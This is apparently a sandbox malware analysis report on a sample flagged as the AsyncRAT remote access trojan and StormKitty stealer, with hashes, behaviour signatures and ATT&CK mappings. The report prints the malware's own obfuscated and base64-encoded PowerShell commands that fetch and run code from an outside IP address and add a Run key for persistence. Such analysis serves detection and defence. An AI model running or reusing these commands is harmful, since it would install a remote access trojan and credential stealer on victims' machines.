asyncrat | ac94292072fe4fde17e2567febde5c7e0b0af4e2ab45ea4d6add950c4c472c7f

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/05/2026, 15:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ac94292072fe4fde17e2567febde5c7e0b0af4e2ab45ea4d6add950c4c472c7f.exe
Size 28KB
Sample260528-syxplaev5x
SHA256 ac94292072fe4fde17e2567febde5c7e0b0af4e2ab45ea4d6add950c4c472c7f
MD5 f1c20ed9a182dbd10a5ac8c1f90b9108
SHA1 455409338876e5aa4cbfcb54978a614363fcc2cd
SHA512 3681a71f5e10e18ca9f8494fcc8550e956f67e0bf06bbc0e3e1fdb256d3f0b339c8b31d665e65880b2b093d208551641026960f8d036d6a92eda457018d7b943
SSDEEP 192:YQPtxD/bOUNE9u9u9DClFE9u9u9DClyaOmD65cnE9u9u9DCl:YS1raYYD0aYYDOnaYYD
TLSH
T178D241B74324B02AECF762740F59F6792F16BC521D0A410688C95FD7A71E2A4DC632BB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution asyncrat stormkitty persistence rat stealer

Malware Config

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Family: StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4008	1664	powershell.exe	80

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/796-98-0x0000000000400000-0x000000000073C000-memory.dmp	family_stormkitty

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	4008	powershell.exe
2	4956	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsofts = "powershell -wi mi -Enc LgAoACgAJwBzAHMAZAB4ACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnAHMAcwBkACcALAAnAGkAZQAnACkAKQAgACgAaQByAG0AIAAnADkAMQAuADkAMgAuADIANAAwAC4AMQAyADUAOgA4ADgAOAA4AC8AaQByACcAKQA="	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4008	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4008 set thread context of 796	4008	powershell.exe	85
PID 4956 set thread context of 4360	4956	powershell.exe	86

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ac94292072fe4fde17e2567febde5c7e0b0af4e2ab45ea4d6add950c4c472c7f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4008	powershell.exe
4008	powershell.exe
4956	powershell.exe
4956	powershell.exe
796	RegSvcs.exe
796	RegSvcs.exe
796	RegSvcs.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeDebugPrivilege	796	RegSvcs.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2248	ac94292072fe4fde17e2567febde5c7e0b0af4e2ab45ea4d6add950c4c472c7f.exe
796	RegSvcs.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4008 wrote to memory of 796	4008	powershell.exe	85
PID 4008 wrote to memory of 796	4008	powershell.exe	85
PID 4008 wrote to memory of 796	4008	powershell.exe	85
PID 4008 wrote to memory of 796	4008	powershell.exe	85
PID 4008 wrote to memory of 796	4008	powershell.exe	85
PID 4956 wrote to memory of 4360	4956	powershell.exe	86
PID 4956 wrote to memory of 4360	4956	powershell.exe	86
PID 4956 wrote to memory of 4360	4956	powershell.exe	86
PID 4956 wrote to memory of 4360	4956	powershell.exe	86
PID 4956 wrote to memory of 4360	4956	powershell.exe	86

C:\Users\Admin\AppData\Local\Temp\ac94292072fe4fde17e2567febde5c7e0b0af4e2ab45ea4d6add950c4c472c7f.exe
"C:\Users\Admin\AppData\Local\Temp\ac94292072fe4fde17e2567febde5c7e0b0af4e2ab45ea4d6add950c4c472c7f.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell iex(('ssissrsssm 91.92.240.125:8888/2j | isssesssx').replace('s',''))
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4008
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:796

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -wi mi -Enc LgAoACgAJwBzAHMAZAB4ACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnAHMAcwBkACcALAAnAGkAZQAnACkAKQAgACgAaQByAG0AIAAnADkAMQAuADkAMgAuADIANAAwAC4AMQAyADUAOgA4ADgAOAA4AC8AaQByACcAKQA=
1⤵
- Badlisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4956
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4360

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 5KB
SHA256 ea4e9cbc93efa46b3d4b1a4638483abb4a874426e0c42f4060c34423cc635451
MD5 612a740e4adad308971b88ffc3391788
SHA1 c749605f47c99c4058e1a4f143fb06cf50bc9720
SHA512 2ba4b8ab662c7b5d18592fe2307963ad474f6f694f9e6de98913affe92ff7e17c685141046ecb694413937e9770ce6d4c449c7114051c15f6ef451faf429c15d
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqnm7RIz+h4BPztLRiNLh0nRAy6FcxZco1:iq4uYqGEUdncqKXq3qotzYuWqcIz+hut
TLSH
T1E9B1BC313375A0D8C9263F06192D19C463EF435AEA58AF4CB658624EED2714BDB222F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9dc8d8bf17f11ab4741db22fec61fa3883279c34345edce015e40f37a5e560f5
MD5 f462587d573f7251d1d5044b07fc73f5
SHA1 0e7f1b5b6f640c62e885421e6d160a1fc836e061
SHA512 683eff8111b22232744449a724dd1daefa80272e160c4897e9d586de45996b88f7247b6155d5d684a5b2bed88098ae5dff056c056dea8a065004a8ced7a7f3cb
TLSH
T1A331A737F79CC125C8C9017A528CAD00B2B5C3C7809ECE8B7E85C514E53F699CBAC1A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_rtzkn3ei.spy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rtzkn3ei.spy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/796-98-0x0000000000400000-0x000000000073C000-memory.dmp

Download

memory/796-181-0x0000000006E20000-0x0000000007177000-memory.dmp

Download

memory/796-180-0x0000000006DF0000-0x0000000006E12000-memory.dmp

Download

memory/796-179-0x0000000006AD0000-0x0000000006B6C000-memory.dmp

Download

memory/796-176-0x0000000005810000-0x000000000581A000-memory.dmp

Download

memory/796-175-0x00000000062B0000-0x0000000006342000-memory.dmp

Download

memory/796-115-0x00000000051C0000-0x0000000005226000-memory.dmp

Download

memory/796-108-0x0000000005860000-0x0000000005E06000-memory.dmp

Download

memory/4008-20-0x0000020346900000-0x0000020346976000-memory.dmp

Download

memory/4008-2-0x00000203440C0000-0x00000203440D0000-memory.dmp

Download

memory/4008-74-0x0000020346620000-0x000002034663A000-memory.dmp

Download

memory/4008-81-0x0000020346620000-0x0000020346628000-memory.dmp

Download

memory/4008-88-0x0000020346630000-0x0000020346636000-memory.dmp

Download

memory/4008-95-0x0000020346640000-0x000002034664A000-memory.dmp

Download

memory/4008-96-0x0000020346630000-0x0000020346648000-memory.dmp

Download

memory/4008-97-0x0000020346650000-0x0000020346658000-memory.dmp

Download

memory/4008-48-0x00000203465D0000-0x00000203465EC000-memory.dmp

Download

memory/4008-9-0x000002032A490000-0x000002032A4B2000-memory.dmp

Download

memory/4008-35-0x00000203465A0000-0x00000203465AA000-memory.dmp

Download

memory/4008-28-0x0000020346830000-0x00000203468E3000-memory.dmp

Download

memory/4008-27-0x00000203465B0000-0x00000203465CC000-memory.dmp

Download

memory/4008-61-0x00000203465E0000-0x00000203465EA000-memory.dmp

Download

memory/4008-10-0x00000203440C0000-0x00000203440D0000-memory.dmp

Download

memory/4008-11-0x0000020346660000-0x0000020346822000-memory.dmp

Download

memory/4956-12-0x000001BA5D2F0000-0x000001BA5D300000-memory.dmp

Download

memory/4956-13-0x000001BA5D2F0000-0x000001BA5D300000-memory.dmp

Download

memory/4956-107-0x000001BA5FB40000-0x000001BA5FBF3000-memory.dmp

Download